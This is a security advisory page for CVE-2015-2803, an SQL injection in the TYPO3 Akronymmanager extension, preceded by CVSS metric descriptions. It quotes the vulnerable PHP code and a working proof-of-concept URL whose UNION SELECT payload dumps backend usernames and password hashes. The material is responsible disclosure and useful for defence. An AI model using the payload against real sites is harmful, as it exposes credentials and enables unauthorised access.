The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
TYPO3 Akronymmanager Extension 0.5.0 SQL InjectionAdvisory: SQL Injection in TYPO3 Extension Akronymmanager
An SQL injection vulnerability in the TYPO3 extension "Akronymmanager" allows authenticated attackers to inject SQL statements and thereby read data from the TYPO3 database.
Details
=======
Product: sb_akronymmanager
Affected Versions: <=0.5.0
Fixed Versions: 7.0.0
Vulnerability Type: SQL Injection
Security Risk: medium
Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002
Advisory Status: published
CVE: CVE-2015-2803
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803
Introduction
============
"The Acronym Manager adds special explanatory markup to acronyms, abbreviations and foreign words on the whole site following the requirement to accessible web content.
It provides a backend module to administer a list of words to generate new HTML elements for explanatory markup."
(from the extension's documentation)
More Details
============
Users with the respective privileges can maintain acronyms through the Akronymmanager extension pages in the TYPO3 backend web interface.
In the extension's file mod1/index.php, an SQL query is generated like follows (line 357 and following):
[...]
$pageID = t3lib_div::_GET("id");
if ($pageID) $where = "uid='$pageID' AND ";
$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',
$where.'hidden="0" AND deleted="0"','sorting');
[...]
The value of the user-supplied HTTP GET parametre 'id' is used without sanitizing it before its use in the subsequent SQL statement. Therefore, attackers are able to manipulate the resulting SQL statement and inject their own queries into the statement.
Proof of Concept
================
When requesting the following URL, the vulnerability is exploited to yield all usernames and hashes from the TYPO3 be_users database:
------------------------------------------------------------------------
http://server/typo3conf/ext/sb_akronymmanager/mod1/index.php?
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)
%20FROM%20be_users),2%20--%20
------------------------------------------------------------------------
The login credentials are then embedded in the HTML page that is returned:
[...]
<!-- Section header -->
<h2>user1:$hash,user2:$hash[...]</h2>
[...]
Workaround
==========
Only give trusted users access to the Akronymmanager extension in the TYPO3 backend.
Fix
===
Upgrade the extension to version 7.0.0.
Security Risk
=============
An attacker who has access to the backend part of the Akronymmanager extension may send SQL queries to the database. This can be used to read arbitrary tables of the TYPO3 database and may ultimately result in a privilege escalation if the TYPO3 users' password hashes can be cracked efficiently. Depending on the database configuration, it might also be possible to execute arbitrary commands on the database host. As the attack requires an attacker who already has backend access, the vulnerability is estimated to pose only a medium risk.
Timeline
========
2015-02-25 Vulnerability identified
2015-03-04 Customer approved disclosure to vendor
2015-03-10 CVE number requested
2015-03-10 Vendor notified
2015-03-26 CVE number requested again
2015-03-31 CVE number assigned (request #2)
2015-03-31 Vendor notified again
2015-03-31 Vendor responded
2015-04-08 Vendor announced fixed version available at the end of April
2015-05-13 Requested update from vendor
2015-05-15 Vendor requests more time
2015-05-21 Requested update from vendor
2015-05-22 Vendor states that upload to extension registry doesn't work
2015-06-03 Requested update from vendor
2015-06-10 Vendor uploads new version to extension registry
2015-06-15 Advisory published
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories.
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